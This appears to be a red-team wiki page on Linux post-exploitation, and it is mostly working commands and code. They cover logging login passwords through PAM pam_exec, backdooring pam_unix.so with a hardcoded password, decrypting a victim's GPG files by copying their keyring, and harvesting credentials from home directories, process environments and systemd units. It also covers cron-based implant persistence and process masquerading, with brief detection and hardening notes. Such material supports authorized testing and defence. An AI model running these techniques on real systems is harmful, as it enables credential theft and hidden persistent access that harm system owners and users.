Overview
After gaining initial access to a Linux system, post-exploitation focuses on credential harvesting, establishing persistence, lateral movement preparation, and avoiding detection. This page covers the most effective techniques used in real-world engagements.
This content is for authorized penetration testing and red team operations only. Always operate within the defined scope of your engagement.
Sniffing Logon Passwords with PAM
Pluggable Authentication Modules (PAM) handle authentication for nearly all Linux services. A compromised root account can configure PAM to log every password used for login.
Capturing Credentials via PAM Exec
#!/bin/sh
# toomanysecrets.sh — logs every login attempt
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
# Setup steps
sudo touch /var/log/toomanysecrets.log
sudo chmod 770 /var/log/toomanysecrets.log
sudo cp toomanysecrets.sh /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
# Add to /etc/pam.d/common-auth:
# auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
Backdooring pam_unix.so
Modifying pam_unix.so allows authentication with a universal backdoor password while normal authentication continues to work for all other users.
Locate the Authentication Directive
Find the line in /etc/pam.d/common-auth that calls pam_unix.so.
Modify pam_unix_auth.c Source Code
Add a conditional that grants access if a hardcoded password is used, otherwise proceeding with normal authentication.
Recompile and Replace
Compile the modified pam_unix.so and replace it in the appropriate library directory.
Test the Backdoor
Verify the backdoor password works across: login, SSH, sudo, su, and screensaver unlock.
Decrypting GPG Loot via Homedir Relocation
If you find encrypted .gpg files and a user’s ~/.gnupg folder but cannot decrypt due to permission/lock issues:
# 1. Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2. Fix ownership and permissions for GnuPG
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3. Decrypt using the relocated homedir
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or equivalently:
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
Common errors without this technique: “unsafe ownership on homedir”, “failed to create temporary file”, “decryption failed: No secret key”. The relocation resolves all three.
High-Value Credential Artifacts in HOME
Beyond shell history and SSH keys, these files frequently expose reusable credentials and tokens:
# Cloud and container credentials
~/.aws/credentials
~/.kube/config
~/.docker/config.json
~/.config/containers/auth.json
# Package manager credentials
~/.git-credentials
~/.netrc
~/.npmrc
~/.pypirc
# Desktop keyring stores
~/.local/share/keyrings/
~/.kde/share/apps/kwallet/
# Database CLI history (often contains credentials)
~/.mysql_history
~/.psql_history
~/.sqlite_history
Quick triage:
ls -la ~ | grep -iE 'history|credential|token|key|secret'
ls -la ~/.ssh ~/.gnupg ~/.aws ~/.kube ~/.docker ~/.config 2>/dev/null
grep -RInE "password|token|secret|api_key|aws_access_key_id|aws_secret_access_key" \
~/.git-credentials ~/.netrc ~/.npmrc ~/.pypirc ~/.aws ~/.kube ~/.docker ~/.config 2>/dev/null
Harvesting Credentials from Process Environment
When you gain code execution inside a service, the process often inherits sensitive environment variables:
# Dump current process environment
env
printenv
# Dump another process's environment
tr '\0' '\n' </proc/<PID>/environ | sed -n '1,200p'
# In containers, check PID 1 (the service process)
tr '\0' '\n' </proc/1/environ
What to look for:
- App secrets:
GF_SECURITY_ADMIN_USER, GF_SECURITY_ADMIN_PASSWORD (Grafana)
- API keys, DB URIs, SMTP credentials, OAuth secrets
- Proxy/TLS overrides:
http_proxy, https_proxy, SSL_CERT_FILE
Many orchestration platforms pass all sensitive settings via environment variables. These are inherited by child processes and visible in any shell spawned within that process context.
Services launched by systemd may embed credentials as Environment= entries in unit files:
# List unit files
ls -la /etc/systemd/system /lib/systemd/system
# Extract Environment= entries
sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null
Example vulnerable unit file:
[Service]
Environment="BASIC_AUTH_USER=root"
Environment="BASIC_AUTH_PWD=S3cr3tP@ss!"
ExecStart=/usr/bin/crontab-ui
User=root
Hardening: Move secrets to systemd-ask-password, use root-only EnvironmentFile, or use external secret managers.
Cron-Based Persistence with Loopback Mutex
A resilient persistence pattern used by sophisticated implants:
# Install implant in multiple writable locations
cp implant /tmp/.implant
cp implant /var/tmp/.implant
cp implant /dev/shm/.implant
cp implant /run/lock/.implant
# Cron for respawn every 5 minutes
*/5 * * * * /tmp/.implant 2>/dev/null &
# Single-instance guard (bind loopback port as mutex)
# If bind() fails, another instance is running → exit
# ss -lntp | grep -E '51125|52225' reveals the mutex listener
Process Masquerading via prctl + argv Overwrite
Advanced implants hide by impersonating legitimate process names:
// Set short process name (15-byte limit on comm)
prctl(PR_SET_NAME, "init");
// Overwrite argv[0] buffer in memory so /proc/<pid>/cmdline shows fake name
// Read /proc/self/cmdline to find argv[0] pointer, overwrite with NULs
Detection: Compare Name: in /proc/<pid>/status against the real executable path. Look for loopback mutex listeners owned by processes with tiny/blank cmdlines.
Quick Credential Discovery After Root
# Search all home directories for interesting credential files
find /home /root -maxdepth 4 \( \
-name "*.key" -o -name "*.pem" -o -name "*.ppk" -o \
-name "*password*" -o -name "*credential*" -o \
-name "id_rsa" -o -name "id_ed25519" \
\) 2>/dev/null
# Search web application configs
find /var/www /opt /srv -maxdepth 5 -name "*.conf" -o -name "*.env" -o \
-name "wp-config.php" -o -name "config.php" 2>/dev/null | \
xargs grep -lE "password|passwd|secret|key" 2>/dev/null
# Database credential locations
find / -maxdepth 6 -name "*.cnf" -o -name "my.cnf" -o -name ".pgpass" 2>/dev/null
References